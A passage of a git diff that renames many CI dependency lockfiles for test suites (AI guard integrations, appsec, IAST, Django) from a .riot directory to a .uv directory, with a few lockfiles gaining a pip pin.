.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py313-anthropic-0-28-0-httpx-0-27-0.txt diff --git a/.riot/requirements/1d6a897.txt b/.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py313-anthropic-latest-httpx-lt-0-28-0.txt similarity index 100% rename from .riot/requirements/1d6a897.txt rename to .uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py313-anthropic-latest-httpx-lt-0-28-0.txt diff --git a/.riot/requirements/1c13579.txt b/.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py314-anthropic-0-28-0-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/1c13579.txt rename to .uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py314-anthropic-0-28-0-httpx-0-27-0.txt diff --git a/.riot/requirements/116340d.txt b/.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py314-anthropic-latest-httpx-lt-0-28-0.txt similarity index 100% rename from .riot/requirements/116340d.txt rename to .uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py314-anthropic-latest-httpx-lt-0-28-0.txt diff --git a/.riot/requirements/195aef2.txt b/.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py39-anthropic-0-28-0-httpx-0-27-0.txt similarity index 100% rename from .riot/requirements/195aef2.txt rename to .uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py39-anthropic-0-28-0-httpx-0-27-0.txt diff --git a/.riot/requirements/d6bb8aa.txt b/.uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py39-anthropic-latest-httpx-lt-0-28-0.txt similarity index 100% rename from .riot/requirements/d6bb8aa.txt rename to .uv/aiguard-ai-guard-anthropic--ai-guard-anthropic-py39-anthropic-latest-httpx-lt-0-28-0.txt diff --git a/.riot/requirements/15558e4.txt b/.uv/aiguard-ai-guard-api--ai-guard-api-py310.txt similarity index 100% rename from .riot/requirements/15558e4.txt rename to .uv/aiguard-ai-guard-api--ai-guard-api-py310.txt diff --git a/.riot/requirements/1ce7bd9.txt b/.uv/aiguard-ai-guard-api--ai-guard-api-py311.txt similarity index 100% rename from .riot/requirements/1ce7bd9.txt rename to .uv/aiguard-ai-guard-api--ai-guard-api-py311.txt diff --git a/.riot/requirements/f63a4f0.txt b/.uv/aiguard-ai-guard-api--ai-guard-api-py312.txt similarity index 100% rename from .riot/requirements/f63a4f0.txt rename to .uv/aiguard-ai-guard-api--ai-guard-api-py312.txt diff --git a/.riot/requirements/c123ddc.txt b/.uv/aiguard-ai-guard-api--ai-guard-api-py313.txt similarity index 100% rename from .riot/requirements/c123ddc.txt rename to .uv/aiguard-ai-guard-api--ai-guard-api-py313.txt diff --git a/.riot/requirements/191027d.txt b/.uv/aiguard-ai-guard-api--ai-guard-api-py314.txt similarity index 100% rename from .riot/requirements/191027d.txt rename to .uv/aiguard-ai-guard-api--ai-guard-api-py314.txt diff --git a/.riot/requirements/1560cda.txt b/.uv/aiguard-ai-guard-api--ai-guard-api-py39.txt similarity index 100% rename from .riot/requirements/1560cda.txt rename to .uv/aiguard-ai-guard-api--ai-guard-api-py39.txt diff --git a/.riot/requirements/efbceb1.txt b/.uv/aiguard-ai-guard-langchain--ai-guard-langchain-py310-langchain-0-1-20-langchain-core-0-1-53-langchain-openai-0-1-6-op.txt similarity index 100% rename from .riot/requirements/efbceb1.txt rename to .uv/aiguard-ai-guard-langchain--ai-guard-langchain-py310-langchain-0-1-20-langchain-core-0-1-53-langchain-openai-0-1-6-op.txt diff --git a/.riot/requirements/1c55d86.txt b/.uv/aiguard-ai-guard-langchain--ai-guard-langchain-py310-langchain-0-2-17-langchain-core-0-2-43-langchain-openai-0-1-7-op.txt similarity index 100% rename from .riot/requirements/1c55d86.txt rename to .uv/aiguard-ai-guard-langchain--ai-guard-langchain-py310-langchain-0-2-17-langchain-core-0-2-43-langchain-openai-0-1-7-op.txt diff --git a/.riot/requirements/15a365d.txt b/.uv/aiguard-ai-guard-langchain--ai-guard-langchain-py310-langchain-latest-langchain-core-latest-langchain-openai-latest-o.txt similarity index 100% rename from .riot/requirements/15a365d.txt rename to .uv/aiguard-ai-guard-langchain--ai-guard-langchain-py310-langchain-latest-langchain-core-latest-langchain-openai-latest-o.txt diff --git a/.riot/requirements/1fce108.txt b/.uv/aiguard-ai-guard-langchain--ai-guard-langchain-py311-langchain-0-1-20-langchain-core-0-1-53-langchain-openai-0-1-6-op.txt similarity index 100% rename from .riot/requirements/1fce108.txt rename to .uv/aiguard-ai-guard-langchain--ai-guard-langchain-py311-langchain-0-1-20-langchain-core-0-1-53-langchain-openai-0-1-6-op.txt diff --git a/.riot/requirements/167c1e6.txt b/.uv/aiguard-ai-guard-langchain--ai-guard-langchain-py311-langchain-0-2-17-langchain-core-0-2-43-langchain-openai-0-1-7-op.txt similarity index 100% rename from .riot/requirements/167c1e6.txt rename to .uv/aiguard-ai-guard-langchain--ai-guard-langchain-py311-langchain-0-2-17-langchain-core-0-2-43-langchain-openai-0-1-7-op.txt diff --git a/.riot/requirements/ffa69c7.txt b/.uv/aiguard-ai-guard-langchain--ai-guard-langchain-py311-langchain-latest-langchain-core-latest-langchain-openai-latest-o.txt similarity index 100% rename from .riot/requirements/ffa69c7.txt rename to .uv/aiguard-ai-guard-langchain--ai-guard-langchain-py311-langchain-latest-langchain-core-latest-langchain-openai-latest-o.txt diff --git a/.riot/requirements/4a422e1.txt b/.uv/aiguard-ai-guard-langchain--ai-guard-langchain-py312-langchain-0-2-17-langchain-core-0-2-43-langchain-openai-0-1-7-op.txt similarity index 100% rename from .riot/requirements/4a422e1.txt rename to .uv/aiguard-ai-guard-langchain--ai-guard-langchain-py312-langchain-0-2-17-langchain-core-0-2-43-langchain-openai-0-1-7-op.txt diff --git a/.riot/requirements/11594bd.txt b/.uv/aiguard-ai-guard-langchain--ai-guard-langchain-py312-langchain-latest-langchain-core-latest-langchain-openai-latest-o.txt similarity index 100% rename from .riot/requirements/11594bd.txt rename to .uv/aiguard-ai-guard-langchain--ai-guard-langchain-py312-langchain-latest-langchain-core-latest-langchain-openai-latest-o.txt diff --git a/.riot/requirements/5484ca0.txt b/.uv/aiguard-ai-guard-langchain--ai-guard-langchain-py313-langchain-latest-langchain-core-latest-langchain-openai-latest-o.txt similarity index 100% rename from .riot/requirements/5484ca0.txt rename to .uv/aiguard-ai-guard-langchain--ai-guard-langchain-py313-langchain-latest-langchain-core-latest-langchain-openai-latest-o.txt diff --git a/.riot/requirements/136327d.txt b/.uv/aiguard-ai-guard-langchain--ai-guard-langchain-py39-langchain-0-1-20-langchain-core-0-1-53-langchain-openai-0-1-6-op.txt similarity index 100% rename from .riot/requirements/136327d.txt rename to .uv/aiguard-ai-guard-langchain--ai-guard-langchain-py39-langchain-0-1-20-langchain-core-0-1-53-langchain-openai-0-1-6-op.txt diff --git a/.riot/requirements/10ddcfd.txt b/.uv/aiguard-ai-guard-langchain--ai-guard-langchain-py39-langchain-0-2-17-langchain-core-0-2-43-langchain-openai-0-1-7-op.txt similarity index 100% rename from .riot/requirements/10ddcfd.txt rename to .uv/aiguard-ai-guard-langchain--ai-guard-langchain-py39-langchain-0-2-17-langchain-core-0-2-43-langchain-openai-0-1-7-op.txt diff --git a/.riot/requirements/1dbeaa3.txt b/.uv/aiguard-ai-guard-langchain--ai-guard-langchain-py39-langchain-latest-langchain-core-latest-langchain-openai-latest-o.txt similarity index 100% rename from .riot/requirements/1dbeaa3.txt rename to .uv/aiguard-ai-guard-langchain--ai-guard-langchain-py39-langchain-latest-langchain-core-latest-langchain-openai-latest-o.txt diff --git a/.riot/requirements/f5256ad.txt b/.uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py310-litellm-proxy-1-78-5.txt similarity index 100% rename from .riot/requirements/f5256ad.txt rename to .uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py310-litellm-proxy-1-78-5.txt diff --git a/.riot/requirements/325f927.txt b/.uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py310-litellm-proxy-1-82-6.txt similarity index 100% rename from .riot/requirements/325f927.txt rename to .uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py310-litellm-proxy-1-82-6.txt diff --git a/.riot/requirements/902be05.txt b/.uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py311-litellm-proxy-1-78-5.txt similarity index 100% rename from .riot/requirements/902be05.txt rename to .uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py311-litellm-proxy-1-78-5.txt diff --git a/.riot/requirements/5b43a4a.txt b/.uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py311-litellm-proxy-1-82-6.txt similarity index 100% rename from .riot/requirements/5b43a4a.txt rename to .uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py311-litellm-proxy-1-82-6.txt diff --git a/.riot/requirements/13ee970.txt b/.uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py312-litellm-proxy-1-78-5.txt similarity index 100% rename from .riot/requirements/13ee970.txt rename to .uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py312-litellm-proxy-1-78-5.txt diff --git a/.riot/requirements/12d6a82.txt b/.uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py312-litellm-proxy-1-82-6.txt similarity index 100% rename from .riot/requirements/12d6a82.txt rename to .uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py312-litellm-proxy-1-82-6.txt diff --git a/.riot/requirements/102b951.txt b/.uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py313-litellm-proxy-1-78-5.txt similarity index 100% rename from .riot/requirements/102b951.txt rename to .uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py313-litellm-proxy-1-78-5.txt diff --git a/.riot/requirements/2ec9e52.txt b/.uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py313-litellm-proxy-1-82-6.txt similarity index 100% rename from .riot/requirements/2ec9e52.txt rename to .uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py313-litellm-proxy-1-82-6.txt diff --git a/.riot/requirements/128dc9b.txt b/.uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py314-litellm-proxy-1-78-5.txt similarity index 100% rename from .riot/requirements/128dc9b.txt rename to .uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py314-litellm-proxy-1-78-5.txt diff --git a/.riot/requirements/181184d.txt b/.uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py314-litellm-proxy-1-82-6.txt similarity index 100% rename from .riot/requirements/181184d.txt rename to .uv/aiguard-ai-guard-litellm-guardrail--ai-guard-litellm-guardrail-py314-litellm-proxy-1-82-6.txt diff --git a/.riot/requirements/160ce6c.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py310-openai-1-102-0.txt similarity index 100% rename from .riot/requirements/160ce6c.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py310-openai-1-102-0.txt diff --git a/.riot/requirements/196e8cf.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py310-openai-1-3-0-httpx-lt-0-28.txt similarity index 100% rename from .riot/requirements/196e8cf.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py310-openai-1-3-0-httpx-lt-0-28.txt diff --git a/.riot/requirements/1b9dceb.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py310-openai-latest.txt similarity index 100% rename from .riot/requirements/1b9dceb.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py310-openai-latest.txt diff --git a/.riot/requirements/3b7c935.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py311-openai-1-102-0.txt similarity index 100% rename from .riot/requirements/3b7c935.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py311-openai-1-102-0.txt diff --git a/.riot/requirements/d75deb2.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py311-openai-1-3-0-httpx-lt-0-28.txt similarity index 100% rename from .riot/requirements/d75deb2.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py311-openai-1-3-0-httpx-lt-0-28.txt diff --git a/.riot/requirements/1d0ce87.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py311-openai-latest.txt similarity index 100% rename from .riot/requirements/1d0ce87.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py311-openai-latest.txt diff --git a/.riot/requirements/5fd3204.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py312-openai-1-102-0.txt similarity index 100% rename from .riot/requirements/5fd3204.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py312-openai-1-102-0.txt diff --git a/.riot/requirements/143e2ab.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py312-openai-1-3-0-httpx-lt-0-28.txt similarity index 100% rename from .riot/requirements/143e2ab.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py312-openai-1-3-0-httpx-lt-0-28.txt diff --git a/.riot/requirements/1224d93.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py312-openai-latest.txt similarity index 100% rename from .riot/requirements/1224d93.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py312-openai-latest.txt diff --git a/.riot/requirements/dea8aa5.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py313-openai-1-102-0.txt similarity index 100% rename from .riot/requirements/dea8aa5.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py313-openai-1-102-0.txt diff --git a/.riot/requirements/17391df.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py313-openai-latest.txt similarity index 100% rename from .riot/requirements/17391df.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py313-openai-latest.txt diff --git a/.riot/requirements/1e2d4d2.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py314-openai-latest.txt similarity index 100% rename from .riot/requirements/1e2d4d2.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py314-openai-latest.txt diff --git a/.riot/requirements/9b17c9b.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py39-openai-1-102-0.txt similarity index 100% rename from .riot/requirements/9b17c9b.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py39-openai-1-102-0.txt diff --git a/.riot/requirements/13b56c2.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py39-openai-1-3-0-httpx-lt-0-28.txt similarity index 100% rename from .riot/requirements/13b56c2.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py39-openai-1-3-0-httpx-lt-0-28.txt diff --git a/.riot/requirements/194e789.txt b/.uv/aiguard-ai-guard-openai--ai-guard-openai-py39-openai-latest.txt similarity index 100% rename from .riot/requirements/194e789.txt rename to .uv/aiguard-ai-guard-openai--ai-guard-openai-py39-openai-latest.txt diff --git a/.riot/requirements/19f5ff8.txt b/.uv/aiguard-ai-guard-strands--ai-guard-strands-py310.txt similarity index 100% rename from .riot/requirements/19f5ff8.txt rename to .uv/aiguard-ai-guard-strands--ai-guard-strands-py310.txt diff --git a/.riot/requirements/1ba07f5.txt b/.uv/aiguard-ai-guard-strands--ai-guard-strands-py311.txt similarity index 100% rename from .riot/requirements/1ba07f5.txt rename to .uv/aiguard-ai-guard-strands--ai-guard-strands-py311.txt diff --git a/.riot/requirements/bfaf096.txt b/.uv/aiguard-ai-guard-strands--ai-guard-strands-py312.txt similarity index 100% rename from .riot/requirements/bfaf096.txt rename to .uv/aiguard-ai-guard-strands--ai-guard-strands-py312.txt diff --git a/.riot/requirements/1d7b20f.txt b/.uv/aiguard-ai-guard-strands--ai-guard-strands-py313.txt similarity index 100% rename from .riot/requirements/1d7b20f.txt rename to .uv/aiguard-ai-guard-strands--ai-guard-strands-py313.txt diff --git a/.riot/requirements/15770fa.txt b/.uv/aiguard-ai-guard-strands--ai-guard-strands-py314.txt similarity index 100% rename from .riot/requirements/15770fa.txt rename to .uv/aiguard-ai-guard-strands--ai-guard-strands-py314.txt diff --git a/.riot/requirements/1ad3ffa.txt b/.uv/appsec-appsec--appsec-py310.txt similarity index 100% rename from .riot/requirements/1ad3ffa.txt rename to .uv/appsec-appsec--appsec-py310.txt diff --git a/.riot/requirements/19e4934.txt b/.uv/appsec-appsec--appsec-py311.txt similarity index 100% rename from .riot/requirements/19e4934.txt rename to .uv/appsec-appsec--appsec-py311.txt diff --git a/.riot/requirements/106f2d7.txt b/.uv/appsec-appsec--appsec-py312.txt similarity index 100% rename from .riot/requirements/106f2d7.txt rename to .uv/appsec-appsec--appsec-py312.txt diff --git a/.riot/requirements/248da41.txt b/.uv/appsec-appsec--appsec-py313.txt similarity index 100% rename from .riot/requirements/248da41.txt rename to .uv/appsec-appsec--appsec-py313.txt diff --git a/.riot/requirements/11ab0ab.txt b/.uv/appsec-appsec--appsec-py314.txt similarity index 100% rename from .riot/requirements/11ab0ab.txt rename to .uv/appsec-appsec--appsec-py314.txt diff --git a/.riot/requirements/9a8d5f9.txt b/.uv/appsec-appsec--appsec-py39.txt similarity index 100% rename from .riot/requirements/9a8d5f9.txt rename to .uv/appsec-appsec--appsec-py39.txt diff --git a/.riot/requirements/f424ead.txt b/.uv/appsec-appsec-iast-default--appsec-iast-default-py310-pycryptodome-latest.txt similarity index 100% rename from .riot/requirements/f424ead.txt rename to .uv/appsec-appsec-iast-default--appsec-iast-default-py310-pycryptodome-latest.txt diff --git a/.riot/requirements/1e4eb10.txt b/.uv/appsec-appsec-iast-default--appsec-iast-default-py311-pycryptodome-latest.txt similarity index 100% rename from .riot/requirements/1e4eb10.txt rename to .uv/appsec-appsec-iast-default--appsec-iast-default-py311-pycryptodome-latest.txt diff --git a/.riot/requirements/8d92aac.txt b/.uv/appsec-appsec-iast-default--appsec-iast-default-py312-pycryptodome-latest.txt similarity index 100% rename from .riot/requirements/8d92aac.txt rename to .uv/appsec-appsec-iast-default--appsec-iast-default-py312-pycryptodome-latest.txt diff --git a/.riot/requirements/1ce083a.txt b/.uv/appsec-appsec-iast-default--appsec-iast-default-py313-pycryptodome-latest.txt similarity index 100% rename from .riot/requirements/1ce083a.txt rename to .uv/appsec-appsec-iast-default--appsec-iast-default-py313-pycryptodome-latest.txt diff --git a/.riot/requirements/1c68cd4.txt b/.uv/appsec-appsec-iast-default--appsec-iast-default-py314-variant-2.txt similarity index 100% rename from .riot/requirements/1c68cd4.txt rename to .uv/appsec-appsec-iast-default--appsec-iast-default-py314-variant-2.txt diff --git a/.riot/requirements/112cf54.txt b/.uv/appsec-appsec-iast-default--appsec-iast-default-py39-pycryptodome-latest.txt similarity index 100% rename from .riot/requirements/112cf54.txt rename to .uv/appsec-appsec-iast-default--appsec-iast-default-py39-pycryptodome-latest.txt diff --git a/.riot/requirements/14a5b18.txt b/.uv/appsec-appsec-iast-memcheck--appsec-iast-memcheck-py310.txt similarity index 100% rename from .riot/requirements/14a5b18.txt rename to .uv/appsec-appsec-iast-memcheck--appsec-iast-memcheck-py310.txt diff --git a/.riot/requirements/1e537de.txt b/.uv/appsec-appsec-iast-memcheck--appsec-iast-memcheck-py311.txt similarity index 100% rename from .riot/requirements/1e537de.txt rename to .uv/appsec-appsec-iast-memcheck--appsec-iast-memcheck-py311.txt diff --git a/.riot/requirements/1f24375.txt b/.uv/appsec-appsec-iast-memcheck--appsec-iast-memcheck-py312.txt similarity index 100% rename from .riot/requirements/1f24375.txt rename to .uv/appsec-appsec-iast-memcheck--appsec-iast-memcheck-py312.txt diff --git a/.riot/requirements/179d78b.txt b/.uv/appsec-appsec-iast-memcheck--appsec-iast-memcheck-py313.txt similarity index 100% rename from .riot/requirements/179d78b.txt rename to .uv/appsec-appsec-iast-memcheck--appsec-iast-memcheck-py313.txt diff --git a/.riot/requirements/13a379a.txt b/.uv/appsec-appsec-iast-memcheck--appsec-iast-memcheck-py314.txt similarity index 100% rename from .riot/requirements/13a379a.txt rename to .uv/appsec-appsec-iast-memcheck--appsec-iast-memcheck-py314.txt diff --git a/.riot/requirements/1a2e084.txt b/.uv/appsec-appsec-iast-memcheck--appsec-iast-memcheck-py39.txt similarity index 100% rename from .riot/requirements/1a2e084.txt rename to .uv/appsec-appsec-iast-memcheck--appsec-iast-memcheck-py39.txt diff --git a/.riot/requirements/6382845.txt b/.uv/appsec-appsec-iast-native--appsec-iast-native-py310.txt similarity index 100% rename from .riot/requirements/6382845.txt rename to .uv/appsec-appsec-iast-native--appsec-iast-native-py310.txt diff --git a/.riot/requirements/c5214fe.txt b/.uv/appsec-appsec-iast-native--appsec-iast-native-py311.txt similarity index 100% rename from .riot/requirements/c5214fe.txt rename to .uv/appsec-appsec-iast-native--appsec-iast-native-py311.txt diff --git a/.riot/requirements/1b6a350.txt b/.uv/appsec-appsec-iast-native--appsec-iast-native-py312.txt similarity index 100% rename from .riot/requirements/1b6a350.txt rename to .uv/appsec-appsec-iast-native--appsec-iast-native-py312.txt diff --git a/.riot/requirements/10f2939.txt b/.uv/appsec-appsec-iast-native--appsec-iast-native-py313.txt similarity index 100% rename from .riot/requirements/10f2939.txt rename to .uv/appsec-appsec-iast-native--appsec-iast-native-py313.txt diff --git a/.riot/requirements/1a6865c.txt b/.uv/appsec-appsec-iast-native--appsec-iast-native-py314.txt similarity index 100% rename from .riot/requirements/1a6865c.txt rename to .uv/appsec-appsec-iast-native--appsec-iast-native-py314.txt diff --git a/.riot/requirements/3957288.txt b/.uv/appsec-appsec-iast-native--appsec-iast-native-py39.txt similarity index 100% rename from .riot/requirements/3957288.txt rename to .uv/appsec-appsec-iast-native--appsec-iast-native-py39.txt diff --git a/.riot/requirements/6f53557.txt b/.uv/appsec-appsec-iast-packages--appsec-iast-packages-py311.txt similarity index 98% rename from .riot/requirements/6f53557.txt rename to .uv/appsec-appsec-iast-packages--appsec-iast-packages-py311.txt index a5522ebc934..670b99e0fb3 100644 --- a/.riot/requirements/6f53557.txt +++ b/.uv/appsec-appsec-iast-packages--appsec-iast-packages-py311.txt @@ -21,6 +21,7 @@ markupsafe==3.0.3 mock==5.2.0 opentracing==2.4.0 packaging==26.3 +pip==26.2.1 pluggy==1.6.0 psutil==7.1.3 pygments==2.20.0 diff --git a/.riot/requirements/1898dba.txt b/.uv/appsec-appsec-iast-packages--appsec-iast-packages-py312.txt similarity index 98% rename from .riot/requirements/1898dba.txt rename to .uv/appsec-appsec-iast-packages--appsec-iast-packages-py312.txt index 69f38b9004b..b5f19d8eadf 100644 --- a/.riot/requirements/1898dba.txt +++ b/.uv/appsec-appsec-iast-packages--appsec-iast-packages-py312.txt @@ -21,6 +21,7 @@ markupsafe==3.0.3 mock==5.2.0 opentracing==2.4.0 packaging==26.3 +pip==26.2.1 pluggy==1.6.0 psutil==7.1.3 pygments==2.20.0 diff --git a/.riot/requirements/ac4b246.txt b/.uv/appsec-appsec-iast-packages--appsec-iast-packages-py313.txt similarity index 98% rename from .riot/requirements/ac4b246.txt rename to .uv/appsec-appsec-iast-packages--appsec-iast-packages-py313.txt index afd7703c2e8..c2801d17498 100644 --- a/.riot/requirements/ac4b246.txt +++ b/.uv/appsec-appsec-iast-packages--appsec-iast-packages-py313.txt @@ -21,6 +21,7 @@ markupsafe==3.0.3 mock==5.2.0 opentracing==2.4.0 packaging==26.3 +pip==26.2.1 pluggy==1.6.0 psutil==7.1.3 pygments==2.20.0 diff --git a/.riot/requirements/17bf551.txt b/.uv/appsec-appsec-iast-packages--appsec-iast-packages-py314.txt similarity index 98% rename from .riot/requirements/17bf551.txt rename to .uv/appsec-appsec-iast-packages--appsec-iast-packages-py314.txt index d5c6f5951c1..6697b4a54cc 100644 --- a/.riot/requirements/17bf551.txt +++ b/.uv/appsec-appsec-iast-packages--appsec-iast-packages-py314.txt @@ -21,6 +21,7 @@ markupsafe==3.0.3 mock==5.2.0 opentracing==2.4.0 packaging==26.3 +pip==26.2.1 pluggy==1.6.0 psutil==7.1.3 pygments==2.20.0 diff --git a/.riot/requirements/5a0bcdf.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-3-2-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/5a0bcdf.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-3-2-legacy-cgi-latest.txt diff --git a/.riot/requirements/b88fb25.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-4-0-10-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/b88fb25.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-4-0-10-legacy-cgi-latest.txt diff --git a/.riot/requirements/1a9a3f9.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-4-2-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/1a9a3f9.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-4-2-legacy-cgi-latest.txt diff --git a/.riot/requirements/189e923.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-4-2.txt similarity index 100% rename from .riot/requirements/189e923.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-4-2.txt diff --git a/.riot/requirements/6ff806c.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-5-2.txt similarity index 100% rename from .riot/requirements/6ff806c.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-5-2.txt diff --git a/.riot/requirements/19e3b6e.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-latest-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/19e3b6e.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-latest-legacy-cgi-latest.txt diff --git a/.riot/requirements/adc21ad.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-latest.txt similarity index 100% rename from .riot/requirements/adc21ad.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py310-django-latest.txt diff --git a/.riot/requirements/1fc222e.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-3-2-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/1fc222e.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-3-2-legacy-cgi-latest.txt diff --git a/.riot/requirements/7b08a74.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-4-0-10-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/7b08a74.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-4-0-10-legacy-cgi-latest.txt diff --git a/.riot/requirements/c9be24d.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-4-2-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/c9be24d.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-4-2-legacy-cgi-latest.txt diff --git a/.riot/requirements/1cedcf1.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-4-2.txt similarity index 100% rename from .riot/requirements/1cedcf1.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-4-2.txt diff --git a/.riot/requirements/683e4d5.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-5-2.txt similarity index 100% rename from .riot/requirements/683e4d5.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-5-2.txt diff --git a/.riot/requirements/127d33e.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-latest-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/127d33e.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-latest-legacy-cgi-latest.txt diff --git a/.riot/requirements/fe98215.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-latest.txt similarity index 100% rename from .riot/requirements/fe98215.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py311-django-latest.txt diff --git a/.riot/requirements/f55d196.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-3-2-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/f55d196.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-3-2-legacy-cgi-latest.txt diff --git a/.riot/requirements/a5417d6.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-4-0-10-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/a5417d6.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-4-0-10-legacy-cgi-latest.txt diff --git a/.riot/requirements/16baf4f.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-4-2-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/16baf4f.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-4-2-legacy-cgi-latest.txt diff --git a/.riot/requirements/1cff003.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-4-2.txt similarity index 100% rename from .riot/requirements/1cff003.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-4-2.txt diff --git a/.riot/requirements/6db2d50.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-5-2.txt similarity index 100% rename from .riot/requirements/6db2d50.txt rename to .uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-5-2.txt diff --git a/.riot/requirements/e4cbe78.txt b/.uv/appsec-appsec-integrations-django--appsec-integrations-django-py312-django-latest-legacy-cgi-latest.txt similarity index 100% rename from .riot/requirements/e4cbe78.txt rename to 